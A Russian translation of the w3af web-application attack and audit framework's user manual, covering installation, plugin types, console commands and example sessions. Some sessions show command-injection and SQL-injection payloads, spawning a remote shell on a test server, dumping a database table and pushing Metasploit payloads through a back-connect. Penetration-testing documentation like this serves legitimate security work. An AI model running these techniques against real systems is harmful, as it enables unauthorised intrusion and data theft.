[Из старого] Перевод официальной документации в w3af

Перевод официальной документации в w3af.

Переводчик: Кузьмин Антон

Версия w3af на момент перевода: 1.0-rc2

Официальные сайты: w3af.sourceforge.net / w3af.sf.net

Дата: ~05.06.2009

Введение

Этот документ является пользовательским руководством к фреймворку для атак и аудита веб-приложений w3af. Здесь будет дана базовая информация о фреймворке, о принципах его работы и возможностях.

Загрузка

Фреймворк может быть скачен с главной страницы нашего проекта:

http://w3af.sf.net/#download

У w3af есть 2 варианта установки : из релиз-пакета (установочный файл w3af для

Windows и tgz-пакет для *nix-систем) или из SVN. Неопытные пользователи могут скачивать новые версии фреймворка с сайта, тогда как более продвинутые могут обновлять его с помощью SVN.

Установка

Фреймворк должен работать на любой платформе которая поддерживает Python. Работоспособность w3af была протестирована на Linux, Windows XP, Windows Vista и OpenBSD. Это руководство содержит пример установки на Linux-платформу который применим к остальным *nix-системам. Установить w3af на Windows-системы Вы можете с помощью готового установочного файла (находится на нашем сайте).

Системные требования

Для запуска w3af требуются следующие пакеты, которые можно условно поделить на 2 группы:

  • Пакеты, которые необходимы для функционирования ядра:
  • Python 2.5
  • fpconst-0.7.2
  • pygoogle
  • nltk
  • SOAPpy
  • pyPdf
  • Beautiful Soup
  • Python OpenSSL
  • json.py
  • scapy
  • Пакеты, необходымые для работы с графическим интерфейсом:
  • python sqlite3
  • graphviz
  • pygtk 2.0
  • gtk 2.12

Как Вы наверное уже догадались, библиотеки из первой категории нужны для запуска w3af, вне зависимости от выбранного интерфейса, а требования второй группы обязательны только если Вы собрались использовать графический интерфейс.

Некоторые библиотеки поставляются сразу с дистрибутивом для того чтобы упростить установку. Их Вы можете найти в директории extlib. Большинство библиотек могут быть установлены прямо отсюда, но возможен вариант когда в процессе установки Вас попросят установить какие-то дополнительные пакеты. Вот пошаговое описание установки библиотек (она должна производиться под пользователем root)

cd w3af

cd extlib

cd fpconst0.7.2

python setup.py install

cd ..

cd pygoogle

python setup.py install

cd ..

cd SOAPpy

python setup.py install

cd pyPdf

python setup.py install

Фазы работы w3af

Перед запуском w3af пользователь должен знать какие фазы работы существуют в приложении и как работают плагины. Пагины, имеющиеся в w3af, делятся на 3 типа — для исследований, для аудита и для проведения атак.

Исследовательские плагины ответственны за поиск новых ссылок, форм и других

мест через которые могут быть проведены инъекционные атаки. Классический пример исследовательского плагина это webSpider. Он находит ссылки в теле страниц, и показывает какие места в них могут быть использованы для инъекционных атак.

Когда пользователь активирует один или более плагинов такого типа, то они работают по кругу: если плагин А находит новый URL то ядро w3af посылает этот адрес плагину Б. Если плагин Б находит новый URL то он посылается плагину А. Этот процесс будет происходить пока каждая ссылка не будет обработана всеми плагинами.

Плагины для аудита берут места возможных инъекций в ссылках полученных исследовательскими плагинами, и производят запросы по ним со специально сформированными данными пытаясь выявить возможные уязвимости.  Классическим примером является плагин для поиска SQL-инъекций.

Плагины проведения атак берут на себя задачу эксплуатации уязвимости. Они обычно возвращают командную строку на удалённом сервере или дамп таблиц.

Запуск w3af

w3af имеет 2 интерфейса — консольный пользовательский интерфейс (в официальных документах он обозначается как consoleUI — п.п.) и  графический (в официальных документах он обозначается как gtkUi — п.п.). Это руководство описывает работу с консольной версией интерфейса потому что она больше тестировалась и отлаживалась чем графическая. Для вызова консольного интерфейса нужно запустить соответствующий бинарный файл w3af без параметров:

$ ./w3af_console

w3af>>>

Из этой строки Вы можете конфигурировать фреймворк, запускать сканирование и эксплойты для уязвимостей. Для этого имеется специальный набор команд. Первая команда, которую Вам нужно запомнить — “help” (так же после неё может быть указана конкретная команда или параметр):

 

Для каждой команды имеется подробное описание. Команда «help» может принимать в качестве единственного параметра другую команду, как это показано на скриншоте. Интересной вещью является самодописывание команд в консоли (например наберите «plu» и нажмите TAB) и история команд (после написания Вами разных команд Вы можете перемещаться по ним с помощью стрелок вверх и вниз).

Для того чтобы зайти в управление какой-либо конфигурации Вы должны набрать её имя и нажать Enter. После этого командная строка изменится соответствующим образом:

w3af>>>http-settings

w3af/config:http-settings>>>

Управление каждой настройкой осуществляется следующими командами:

  • help
  • view
  • set
  • back

Вот пример их использования с опцией http-settings:

w3af/config:httpsettings>>> set timeout 5

w3af/config:httpsettings>>> view

Вообщем, команда «view» служит для просмотра списка всех конфигурационных параметров с их описанием и значением. Команда «set» используется для изменения значений параметров. Так же Вы можете использовать команды «back», «.» (у меня эта команда не срабатывала — п.п.) и комбинацию клавиш CTRL+C для того чтобы вернуться в предыдущее меню. Детальное описание для каждого из конфигурационных параметров может быть получено с использованием команды «help», как показано в примере:

w3af/config:httpsettings>>>

help timeout

Help for parameter timeout:

===========================

Set low timeouts for LAN use and high timeouts for slow Internet

connections.

w3af/config:httpsettings>>>

Меню “http-settings” и “misc-settings” используются для указания фреймворку глобальных настроек. Каждый параметр имеет значение по умолчанию, и в большинстве случаев Вы можете оставить всё без изменений. w3af был спроектирован так чтобы позволить новичкам пользоваться данным инструментом вне зависимости от знаний его внутреннего устройства. Зато настройки могут достаточно гибко изменятся экспертами которые знают что они хотят и могут поменять параметры чётко под свои задачи.

Запуск w3af с GTK-интерфейсом

Фреймворк помимо консольного интерфейса имеет ещё и графический. Открыть его Вы можете запустив соответствующий исполняемый файл:

$ ./w3af_gui

Графический интерфейс позволяет управлять действиями (например сканированием) и настройками фреймворка очень легко и быстро. Вот как он выглядит.

Плагины

Плагины ищут ссылки, обнаружают уязвимости и т.д — вообщем выполняют всю основную работу. Сейчас мы научимся их настраивать. Вопервых, нужно сказать что w3af имеет 3 основных типа плагинов: для исследований, аудита и эксплуатации уязвимостей.  Вот полный лист категорий (включая и 3 основные):

  • discovery
  • audit
  • grep
  • exploit
  • output
  • mangle
  • bruteforce
  • evasion

Первый вид плагинов находит места для возможного проведения инъекционных атак. Они позже передаются audit-плагинам для поиска уязвимостей. Grep-плагины анализируют содержимое всех страниц и ищут в нём что-либо подозрительное. Например grep-плагин ищет комментарии со словом «password» в коде страниц. Плагины для эксплуатации уязвимостей (exploit) запускаются при работе audit-плагинов и пытаются дать пользователю что ни будь полезное (удалённый шелл, SQL-дамп и т.д.).

Output-плагины осуществляют связь между фреймворком и пользователем. Они сохраняют полученные данные в виде отчётов в текстовый или html-файл. Отладочная информация так же передаётся этим плагинам и может быть в будущем использована для анализа.

Mangle-плагины позволяют модифицировать запросы к серверу и ответы от него с помощью регулярных выражений.

Bruteforce-плагины занимаются подбором паролей. Они запускаются на фазе исследования (работы discovery-плагинов)

Ну и наконец evasion-плагины. Они нужны для избежания обнаружения сканирования (скрытие от IDS и т.д.).

Настройка плагинов

Плагины можно настроить в соответствующем разделе. Используйте для этого команду «plugins» в главном меню.

Все плагины могут быть настроены здесь, за исключением оных их exploit-группы. Вот примеры того как можно узнать синтаксис для любого из них:

w3af/plugins>>> help audit

View, configure and enable audit plugins

Syntax: audit [config plugin | plugin1[,plugin2 … pluginN] | desc plugin]

Example: audit

Result: All enabled audit plugins are listed.

Example2: audit LDAPi,blindSqli

Result: LDAPi and blindSqli are configured to run

Example3: audit config LDAPi

Result: Enters to the plugin configuration menu.

Example4: audit all,!blindSqli

Result: All audit plugins are configured to run except

blindSqli.

Example1: audit desc LDAPi

Result: You will get the plugin description

w3af/plugins>>> help list

List available plugins.

Syntax: list {plugin type} [all | enabled | disabled]

By default all plugins are listed.

w3af/plugins>>>

Нижеприведённый пример демонстрирует использование команды для того чтобы увидеть доступные audit-плагины и их статус.

Для активации плагинов «xss» и «sqli», и проверки того что фреймворк правильно понял нас, можно использовать следующий набор команд

w3af/plugins>>> audit xss, sqli

w3af/plugins>>> audit

В появившемся списке Вы можете увидеть то что нужные нам плагины теперь активны.

А если пользователю интересно что делает тот или иной плагин то он может использовать команду «desc».

w3af>>> plugins

w3af/plugins>>> audit desc fileUpload

This plugin will try to expoit insecure file upload forms.

One configurable parameter exists:

— extensions

The extensions parameter is a comma separated list of extensions

that this plugin will try to upload. Many web applications

verify the extension of the file being uploaded, if special

extensions are required, they can be added here.

Some web applications check the contents of the files being

uploaded to see if they are really what their extension

is telling. To bypass this check, this plugin uses file

templates located at «plugins/audit/fileUpload/», this templates

are valid files for each extension that have a section ( the

comment field in a gif file for example ) that can be replaced

by scripting code ( PHP, ASP, etc ).

After uploading the file, this plugin will try to find it on

common directories like «upload» and «files» on every know

directory. If the file is found, a vulnerability exists.

w3af/plugins>>>

Теперь мы можем узнать что делает плагин, но давайте проверим его настройки:

Конфигурационное меню у плагинов всегда имеет команду «set» для изменения значений и команду «view» выводящую список существующих опций. В предыдущем примере мы отключили одну из проверок в xss-плагине и посмотрели список опций  sqli-плагина который на данный момент не имеет параметров.

Начало сканирования

После настройки всех необходимых плагинов пользователь должен указать целевой URL и начать сканирование. Указание цели происходит следующим путём:

w3af>>> target

w3af/config:target>>> set target http://localhost/

w3af/config:target>>> back

w3af>>>

В конце нужно выполнить команду “start”.

w3af>>> start

Время от времени Вы можете нажимать Enter для того чтобы видеть текущую информацию о ходе сканирования.

Status: Running discovery.webSpider on http://localhost/w3af/ |

Method: GET.

Полная сессия работы

Рассмотрим пример работы с w3af от начала и до конца. Обратите внимание на вставленные коментарии так как они содержат дополнительную информацию.

$ ./w3af

w3af>>> plugins

w3af/plugins>>> output console,textFile

w3af/plugins>>> output config textFile

w3af/plugins/output/config:textFile>>> set fileName output-w3af.txt

w3af/plugins/output/config:textFile>>> set verbose True

w3af/plugins/output/config:textFile>>> back

w3af/plugins>>> output config console

w3af/plugins/output/config:console>>> set verbose False

w3af/plugins/output/config:console>>> back

Все предыдущие команды активировали два output-плагина — «console» и «textFile»,

и настроили их.

w3af/plugins>>> discovery allowedMethods,webSpider

w3af/plugins>>> back

В этом случае мы будем запускать только discovery-плагины. А именно — «allowedMethods» и «webSpider».

w3af>>> target

w3af/target>>>set target http://localhost/w3af/

w3af/target>>>back

w3af>>> start

New URL found by discovery:

http://localhost/w3af/responseSplitting/responseSplitting.php

New URL found by discovery:

http://localhost/w3af/blindSqli/blindSqlistr.php

New URL found by discovery:

http://localhost/w3af/webSpider/2.html

The URL: http://localhost/beef/hook/ has DAV methods enabled:

OPTIONS

GET

HEAD

POST

TRACE

PROPFIND

PROPPATCH

COPY

MOVE

LOCK

UNLOCK

DELETE

( is possibly enabled too, not tested for safety )

New URL found by discovery:

http://localhost/w3af/globalRedirect/wargame/

New URL found by discovery:

http://localhost/w3af/globalRedirect/w3afsite.tgz

После фазы исследования пользователь получил следующие данные:

Список полученных URL:

— http://localhost/w3af/globalRedirect/w3af.testsite.tgz

— http://localhost/beef/hook/beefmagic.js.php

— http://localhost/w3af/globalRedirect/2.php

— http://localhost/w3af/webSpider/11.html

А в секции отчёта будет информация о местах с возможными инъекционными уязвимостями, которые будут использованы audit-плагинами:

Found 78 URLs and 102 different points of injection.

The list of Fuzzable requests is:

http://localhost/w3af/ | Method: GET

http://localhost/w3af/responseSplitting/responseSplitting.php

| Method: GET | Parameters: (header)

– http://localhost/w3af/sqli/dataReceptor.php | Method: POST | Parameters: (user,firstname)

По окончании работы приложения пользователь возвращается в командную строку.

w3af>>> exit

w3af, better than the regular script kiddie.

$

Предупреждение об исследовании

Фаза исследований это палка о двух концах: если использовать её с умом то можно получить много информации о веб-приложении, а пользоваться этим безрассудно то можно прождать несколько часов и получить небольшой результат. Скажу более понятно — безрассудный вариант это например активация всех discovery-плагинов ( “discovery all” ) без чёткого понимания того что они делают.

Вот несколько примеров исследования сайтов и рекомендаций по ним:

  1. “Вы тестируйте веб-приложение во внутренней сети. Оно имеет большую структуру и не использует Flash или JS-код.

Рекомендация : Вам нужна команда “discovery all,!spiderMan, !fingerGoogle, !fingerMSN, !fingerPKS, !MSNSpider, !googleSpider, !phishtank, !googleSafeBrowsing”.

Причина: Плагин Spiderman должен быть использован только тогда когда webSpider не может найти ссылок. Плагины FingerGoogle, FingerMSN и FingerPKS ищут почтовые адреса в поисковиках. Если веб-приложение находится во внутренней сети то адреса, находящиеся на его страницах, никогда не попадут к ним. Плагины MSNSpider и googleSpider ищут ссылки с помощью соответствующих поисковых систем. Их не нужно использовать по той же причине. Плагины phishtank и googleSafeBrowsing сделаны для поиска фишинговых сайтов, но так как сайт с приложением находится во внутренней сети то он не может быть проверен поисковиком.

  1. “Вы тестируйте веб-приложение в интернете. Оно имеет большую структуру и не содержит элементов Flash и JS-кода

Рекомендация : Вам нужна команда “discovery all,!spiderMan, !wordnet , !googleSets”.

Причина: Плагин Spiderman должен быть задействован только тогда когда плагин webSpider не может сам обнаружить ссылок на главной странице. Wordnet и googleSets работают очень долго при работе в интернете, поэтому их отключение является хорошей идеей.

  1. “Вы тестируйте веб-приложение в интернете. Оно большое и содержит элементы Flash или JS-кода. Так же Вы знаете что приложение не реализует какой-либо веб-сервис.

Рекомендация :Вам нужна команда “discovery all, !wordnet , !googleSets, !wsdlFinder”.

Причина: Плагины wordnet и googleSets отнимают много времени на выполнение в интернете, поэтому их отключение является хорошей идеей.

А wsdlFinder не нужно включать если мы итак знаем что веб-сервисов на сайте нет.

  1. “Вы проверяете приложение в интернет. Вам требуется узнать досконально всё о его функционале и Вы не ограничены временем.

Рекомендация : Используйте команду “discovery all” .

Причина: Вы хотите узнать о сайте как можно больше и не боитесь потратить на это пару дней.

Когда ничего не получается…

Итак. Вы активировали рекомендуемые плагины, запустили сканирование час назад, но до сих пор ничего не найдено. Когда Вы окажитесь в такой ситуации у Вас будет 2 выхода — ждать пока w3af закончит сканирование или нажать CTRL+C сбросив текущие задачи исследования и запустить фазу аудита.

Так же Вы должны помнить что если Вы сохраняете отладочную информацию в текстовом файле то можете открыть новое окно терминала и набрать

“tail -f w3af-output-file.txt”. После запуска этой команды Вы увидите что на самом деле происходит с w3af и возможно выявите причину его неработоспособности.

Скрипты в w3af

При разработке w3af я понял что программе нужен способ выполнять какие-либо часто повторяющиеся действия. Поэтому я включил в функционал фреймворка поддержку скриптов. w3af может запустить скрипт с использованием параметра «-s». Файл скрипта должен представлять из себя текстовый файл с набором команд.

Пример содержимого такого файла:

$ head scripts/scriptosCommanding.w3af

# This is the osCommanding demo:

plugins

output console,textFile

output

output config textFile

set fileName outputw3af.

txt

set verbose True

back

Для запуска этого скрипта Вы должны выполнить команду «./w3af_console s

scripts/scriptosCommanding.w3af». Результат будет тот же самый как если бы Вы вводили все эти команды вручную:

$ ./w3af_console s scripts/scriptosCommanding.w3af

w3af>>>plugins

w3af/plugins>>>output console,textFile

w3af/plugins>>>output

w3af/plugins>>>output config textFile

w3af/plugins/output/config:textFile>>>set fileName outputw3af.txt

w3af/plugins/output/config:textFile>>>set verbose True

w3af/plugins/output/config:textFile>>>back

w3af/plugins>>>output config console

w3af/plugins/output/config:console>>>set verbose False

w3af/plugins/output/config:console>>>back

w3af/plugins>>>back

w3af>>>plugins

w3af/plugins>>>audit osCommanding

w3af/plugins>>>back

w3af>>>target

w3af/config:target>>>set target

http://localhost/w3af/osCommanding/vulnerable.php?command=f0as9

w3af/config:target>>>back

w3af>>>start

Found 1 URLs and 1 different points of injection.

The list of URLs is:

http://localhost/w3af/osCommanding/vulnerable.php

The list of fuzzable requests is:

http://localhost/w3af/osCommanding/vulnerable.php | Method:

GET | Parameters: (command)

Starting osCommanding plugin execution.

OS Commanding was found at: «http://localhost/w3af/osCommanding/

vulnerable.php», using HTTP method GET. The sent data was:

«command=+ping+c+

9+localhost». The vulnerability was found in

the request with id 5.

Finished scanning process.

w3af>>>exploit

w3af/exploit>>>exploit osCommandingShell

osCommandingShell exploit plugin is starting.

The vulnerability was found using method GET, tried to change

the method to POST for exploiting but failed.

Vulnerability successfully exploited. This is a list of

available shells:

[0] <osCommandingShell object (ruser: «wwwdata»| rsystem:»Linux brick 2.6.2419generic i686 GNU/Linux»)>

Please use the interact command to interact with the shell objects.

w3af/exploit>>>interact 0

Execute «endInteraction» to get out of the remote shell. Commands typed in this menu will be runned on the remote web server.

w3af/exploit/osCommandingShell0>>>

ls

vulnerable.php

vulnerable2.php

w3afAgentClient.log

w3af/exploit/osCommandingShell0>>>

endInteraction

w3af/exploit>>>back

w3af>>>exit

spawned a remote shell today?

$

Вывод информации

Вся выводимая приложением информация управляется output-плагинами. Каждый такой плагин может записывать информацию в различных форматах (txt, html и т.д). Для примера — плагин «textFile» по умолчанию пишет всю исходящую информацию в файл output-w3af.txt. Конфигурация таких плагинов происходит так же как и остальных, рассматриваемых нами выше.

$ ./w3af_console

w3af>>> plugins

w3af/plugins>>> output console,textFile

w3af/plugins>>> output config textFile

w3af/plugins/output/config:textFile>>> set fileName outputw3af.

txt

w3af/plugins/output/config:textFile>>> set verbose True

w3af/plugins/output/config:textFile>>> back

w3af/plugins>>> output config console

w3af/plugins/output/config:console>>> set verbose False

w3af/plugins/output/config:console>>> back

Такие настройки укажут плагину «textFile» что нужно выводить все сообщения включая отладочную информацию в файл “outputw3af.txt”. А вот пример того что в этот файл будет помещаться:

[ Sun Sep 14 17:36:09 2008 debug w3afCore] Exiting setOutputPlugins()

[ Sun Sep 14 17:36:09 2008 debug w3afCore] Called w3afCore.start()

[ Sun Sep 14 17:36:09 2008 debug xUrllib] Called buildOpeners

[ Sun Sep 14 17:36:09 2008 debug keepalive] keepalive: Theconnection manager has 0 active connections.

[ Sun Sep 14 17:36:09 2008 debug keepalive] keepalive: added one connection, len(self._hostmap[«localhost»]): 1

[ Sun Sep 14 17:36:09 2008 debug httplib] DNS response from DNS server for domain: localhost

[ Sun Sep 14 17:36:09 2008 debug xUrllib] GET http://localhost/w3af/osCommanding/vulnerable.php?command=f0as9 returned HTTP code «200»

Output-плагины так же могут записывать и содержимое HTTP-запросов и ответов.  Каждый плагин работает с этой информацией по разному. Например, плагин textFile пишет все запросы и ответы в файл, тогда как htmlFile-плагин равнодушен к этой информации и просто ничего с ней не делает. Рассмотрим пример лог-файла плагина textFile:

==========Request 4 Sun Sep 14 17:36:12 2008==============

GET http://localhost/w3af/osCommanding/vulnerable.php?

command=+ping+c+

4+localhost HTTP/1.1

Host: localhost

Acceptencoding:

identity

Accept: */*

Useragent:

w3af.sourceforge.net

==========Response 4 Sun Sep 14 17:36:12 2008==============

HTTP/1.1 200 OK

date: Sun, 14 Sep 2008 20:36:09 GMT

transferencoding:

chunked

xpoweredby:

PHP/5.2.42ubuntu5.3

contenttype:

text/html

server: Apache/2.2.8 (Ubuntu) mod_python/3.3.1 Python/2.5.2 PHP/

5.2.42ubuntu5.3

with SuhosinPatch

PING localhost (127.0.0.1) 56(84) bytes of data.

64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64

time=0.024 ms

64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64

time=0.035 ms

64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64

time=0.037 ms

64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64

time=0.037 ms

localhost

ping statistics 4

packets transmitted, 4 received, 0% packet loss, time 2999ms

rtt min/avg/max/mdev = 0.024/0.033/0.037/0.006 ms

=============================================================

Все сообщения выводимые плагинами или фреймворком попадают ко ВСЕМ активированным output-плагинам. Так что если Вы активируйте одновременно плагины textFile и htmlFile то они оба будут записывать одну и ту же информацию.

Сложноструктурные сайты.

Некоторые сайты содержат в себе специфические объекты типа Flash-элементов или Java-апплетов. Это не позволяет получать фреймворку информацию о ссылках стандартным способом. Специально для этого создан скрипт spiderMan. Он запускает http-прокси-сервер через который пользователь должен бродить по сайту. В это время скрипт будет извлекать из запросов и ответов сервера нужную ему информацию.

Как пример рассмотрим следующую ситуацию. Допустим что w3af проверил сайт и не нашёл ни одной ссылки на главной странице. После более подробного рассмотрения оказывается что на главной странице находится навигационное меню, представляющее из себя Java-аплет. Пользователь запускает w3af снова и активирует плагин spiderMan, после чего бродит по сайту самостоятельно через прокси-сервер созданный этим плагином. Когда он заканчивает w3af запускает audit-плагины, передавая им ссылки найденные при помощи пользователя.

Вот простой пример работы с этим плагином:

w3af>>> plugins

w3af/plugins>>> discovery spiderMan

w3af/plugins>>> back

w3af>>> target

w3af/target>>> set target http://localhost/w3af/fileUpload/

w3af/target>>> back

w3af>>> start

spiderMan proxy is running on 127.0.0.1:44444 .

Please configure your browser to use these proxy settings and

navigate the target site. To exit spiderMan plugin please

navigate to http://127.7.7.7/spiderMan?terminate .

Теперь пользователь настраивает браузер на использование прокси-сервера по адресу 127.0.0.1:44444 и начинает бродить по сайту, после чего он проходит по ссылке “http://127.7.7.7/spiderMan?terminate”, чем завершает работу spiderMan. Вот результат:

New URL found by discovery: http://localhost/w3af/test

New URL found by discovery: http://localhost/favicon.ico

New URL found by discovery: http://localhost/w3af/

New URL found by discovery: http://localhost/w3af/img/w3af.png

New URL found by discovery: http://localhost/w3af/xssforms/testforms.html

New URL found by discovery: http://localhost/w3af/xssforms/dataReceptor.php

The list of found URLs is:

http://localhost/w3af/fileUpload/

http://localhost/w3af/test

http://localhost/w3af/xssforms/dataReceptor.php

http://localhost/w3af/

http://localhost/w3af/img/w3af.png

http://localhost/w3af/xssforms/testforms.html

http://localhost/w3af/fileUpload/uploader.php

http://localhost/favicon.ico

Found 8 URLs and 8 different points of injection.

The list of Fuzzable requests is:

http://localhost/w3af/fileUpload/ | Method: GET

http://localhost/w3af/fileUpload/uploader.php | Method: POST | Parameters: (MAX_FILE_SIZE,uploadedfile)

http://localhost/w3af/test | Method: GET

http://localhost/favicon.ico | Method: GET

http://localhost/w3af/ | Method: GET

http://localhost/w3af/img/w3af.png | Method: GET

http://localhost/w3af/xssforms/testforms.html | Method: GET

http://localhost/w3af/xssforms/dataReceptor.php | Method:POST | Parameters: (user,firstname)

Starting sqli plugin execution.

W3af>>>

Эксплуатация найденных уязвимостей

Существует два пути использования уязвимостей. Первый заключается в том чтобы дождаться фазы аудита, а второй в том чтобы вызывать exploit-плагин напрямую, указывая нужные ему параметры.

Давайте посмотрим на пример первого пути — эксплуатации уязвимостей автоматическими механизмами w3af:

w3af>>>plugins

w3af/plugins>>>audit osCommanding

w3af/plugins>>>back

w3af>>>target

w3af/config:target>>>set target

http://localhost/w3af/osCommanding/vulnerable.php?command=f0as9

w3af/config:target>>>back

w3af>>>start

Found 1 URLs and 1 different points of injection.

The list of URLs is:

http://localhost/w3af/osCommanding/vulnerable.php

The list of fuzzable requests is:

http://localhost/w3af/osCommanding/vulnerable.php | Method:

GET | Parameters: (command)

Starting osCommanding plugin execution.

OS Commanding was found at: «http://localhost/w3af/osCommanding/

vulnerable.php», using HTTP method GET. The sent data was:

«command=+ping+c+

9+localhost». The vulnerability was found in

the request with id 5.

Finished scanning process.

w3af>>>exploit

w3af/exploit>>>exploit osCommandingShell

osCommandingShell exploit plugin is starting.

The vulnerability was found using method GET, tried to change

the method to POST for exploiting but failed.

Vulnerability successfully exploited. This is a list of

available shells:

[0] <osCommandingShell object (ruser: «wwwdata»| rsystem:»Linux brick 2.6.2419generic

i686 GNU/Linux»)>Please use the interact command to interact with the shell

objects.

w3af/exploit>>>interact 0

Execute «endInteraction» to get out of the remote shell.

Commands typed in this menu will be runned on the remote web

server.

w3af/exploit/osCommandingShell0>>>

ls

vulnerable.php

vulnerable2.php

w3afAgentClient.log

w3af/exploit/osCommandingShell0>>>

endInteraction

w3af/exploit>>>back

w3af>>>

Второй путь заключается в том чтобы вручную запустить exploit-плагин. Данный метод может пригодится когда пользователь самостоятельно нашёл уязвимость, но её эксплуатацию по каким-то причинам хочет провести с помощью фреймворка.

w3af>>> exploit

w3af/exploit>>> exploit config sqlmap

w3af/plugin/sqlmap>>> set url http://localhost/w3af/blindSqli/blindSqliinteger.php

w3af/plugin/sqlmap>>> set injvar id

w3af/plugin/sqlmap>>> set data id=1

w3af/plugin/sqlmap>>> back

w3af/exploit>>> fastexploit sqlmap

sqlmap coded by inquis <bernardo.damele@gmail.com> and belch

<daniele.bellucci@gmail.com>

SQL injection could be verified, trying to create the DB driver.

Execute «exitPlugin» to get out of the remote shell. Commands

typed in this menu will be runned on the remote web server.

w3af/exploit/sqlmap>>> dump agenda w3af_test

Database: w3af_test

Table: agenda

[2 entries]

+—————————————————————-+

+——————+ —+————+————+————+

| direccion        | id  | nombre | telefono  | email      |

+—————————————————————-+

+——————+ —+————+————+————+

| direccion 123 | 1 | apr | 52365786 | acho@c.com |

| direccion 333 | 2 | vico | 47998123 | vTro@c.com |

+—————————————————————-+

+——————+ —+————+————+————+

w3af/exploit/sqlmap>>>

Продвинутая техника эксплуатации уязвимостей

В фреймворке реализует две продвинутые техники использования уязвимостей. Они основаны на возможности фреймворка выполнять удалённо команды системы с помощью плагинов «remoteFileIncludeShell» и «davShell». Эти техники основаны на:

  • Виртуальном демоне позволяющем выполнять код, сгенерированный Metasploit`ом, на удалённом сервере.
  • w3afAgent, позволяющем создать SOCKS-прокси на удалённом сервере.

Обе из них просты в использовании и настройке. Но они пока что плохо проработаны и не факт что у Вас будут работать стабильно. В случае их использования Вы действуйте на свой страх и риск.

Virtual daemon

Как было сказано выше, эта техника позволяет Вам выполнять код сгенерированный Metasploit`ом для компрометации атакуемого сервера. Чтобы её использовать требуется иметь на машине установленным Metasploit Framework версии 3.0 и выше. Вы можете скачать его бесплатно на сайте www.metasploit.com. Установка и настройка MSF выходят за пределы этого документа.

Для активации использования виртуального демона Вам нужно запустить следующую команду, скопировав прежде metasploit-модуль w3af в директорию MSF:

./w3af_console i /home/jdoe/tools/msf/

Где “/home/jdoe/tools/msf/” это директория куда пользователь “jdoe” установил

Metasploit. Далее скопируйте модуль для работы с MSF в его специальную директорию.

cp core/controllers/vdaemon/w3af_vdaemon.rb /home/user/tools/msf/modules/exploits/unix/misc/

Как только это сделано, атакующий может начинать пользоваться виртуальным демоном. Для того чтобы Вы поняли как это делается рассмотрим следующий пример:

  1. w3af нашёл уязвимость которая позволяет удалённо выполнять команды ОС на атакуемом сервере
  2. Взломщик, через использование этой уязвимости, запускает виртуальный демон.
  3. Запускает MSF
  4. Настраивает модуль w3af, находящийся внутри MSF и выполняет его
  5. w3af-модуль внутри MSF соединяется с виртуальным демоном который прослушивает определённый порт на localhost`е.
  6. MSF посылает код, выбранный пользователем, виртуальному демону.
  7. Демон создаёт PE или ELF — файл, в зависимости от удалённой операционной системы, и с использованием уязвимости этот код загружается на атакованный сервер и выполняется.
  8. Процесс загрузки файла на сервер зависит от удалённой операционной системы, привилегий пользователя запустившего w3af и локальной ОС. Далее происходит следующее:
  9. w3af посылает небольшой исполняемый файл удалённому серверу.
  10. Затем фреймворк получает имя сетевого интерфейса ( misc-settings -> interface ) и отсылает на определённые порты несколько пакетов. Так он определяет разрешены ли такие соединения файрволом удалённой сети.
  11. Если какой-либо TCP-порт оказывается разрешённым, w3af пытается запустить сервер на этом порту и осуществляет back-connect с удалённого хоста для загрузки сгенерированного PE/ELF — файла. Если такого порта нет то w3af записывает PE/ELF – файл  используя команду «echo». Этот способ самый медленный, но он всегда работает.
  12. Загруженный код выполняется на удалённом сервере и соединяется с MSF.

Теперь, когда мы знаем этот процесс в теории, давайте рассмотрим иллюстрацию практического примера.

$ ./w3af_console

w3af>>> plugins

w3af>>> plugins

w3af/plugins>>> audit osCommanding

w3af/plugins>>> audit

Enabled audit plugins:

osCommanding

w3af/plugins>>> back

w3af>>> target

w3af/target>>> set target http://172.16.1.128/os.php?cmd=f00

w3af/target>>> back

w3af>>> start

The list of found URLs is:

http://172.16.1.128/os.php

Found 1 URLs and 1 different points of injection.

The list of Fuzzable requests is:

http://172.16.1.128/os.php | Method: GET | Parameters: (cmd)

Starting osCommanding plugin execution.

OS Commanding was found at: http://172.16.1.128/os.php . Using

method: GET. The data sent was: cmd=type+%25SYSTEMROOT

%25%5Cwin.ini The vulnerability was found in the request with id 7.

w3af>>> exploit

w3af/exploit>>> exploit osCommandingShell

osCommanding exploit plugin is starting.

The vulnerability was found using method GET, tried to change

the method to POST for exploiting but failed.

Vulnerability successfully exploited.

Execute «exitPlugin» to get out of the remote shell. Commands

typed in this menu will be runned on the remote web server.

w3af/exploit/osCommandingShell>>> start vdaemon

Virtual daemon service is running on port 9091, use metasploit’s

w3af_vdaemon module to exploit it.

w3af/exploit/osCommandingShell>>>

Ничего особенного. Только добавилась новая команда «start daemon». Этот пример отражает пункты 1 и 2 из теоретической части. Следующая часть — конфигурация MSF-модуля и его запуск. Я больше предпочитаю веб-интерфейс «msfweb». Первым делом нужно выбрать пункт «Exploit» в главном меню. Появится маленькое окошко в котором Вы должны произвести поиск по выражению «w3af» и выбрать эксплоит с именем “w3af virtual daemon exploit”.

Несколько важных особенностей которые Вы должны знать при настройке «w3af agent virtual daemon module» в MSF:

  1. В качестве цели должна быть указана именно та система с которой Вы работаете.
  2. Не работать с VNC (скорее всего это переведено неверно, вот исходное выражение «VNC payloads don’t seem to work»)
  3. RHOST — параметр должен содержать IP атакуемого хоста
  4. LHOST — это Ваш внешний IP-адрес
  5. LPORT — это порт на Вашей машине, куда удалённый веб-сервер может подключится. Или куда можете обращатся Вы.
  6. w3af-модуль внутри MSF соединится с адресом localhost:9091 и произведёт передачу данных. Этот параметр не может быть изменён и не должен совпадать с LHOST и LPORT.

Когда всё это будет настроено мы можем кликнуть по кнопке «Launch Exploit». Вот что мы при этом увидим в консоли w3af:

w3af/exploit/osCommandingShell>>>

Please wait some seconds while w3af performs an extrusion scan.

The extrusion test failed, no reverse connect transfer methods

can be used. Trying inband echo transfer method.

Error: The user running w3af can’t sniff on the specified

interface. Hints: Are you root? Does this interface exist?

Successfully transfered the MSF payload to the remote server.

Successfully executed the MSF payload on the remote server.

Последнее сообщение выведется только если Вы запускали w3af как обычный пользователь. Причина проста — не хватает прав на то чтобы произвести сканирование. Удачная попытка сканирования выглядит вот так:

Please wait some seconds while w3af performs an extrusion scan.

ExtrusionServer listening on interface: eth1

Finished extrusion scan.

The remote host: «172.10.10.1» can connect to w3af with these ports:

25/TCP
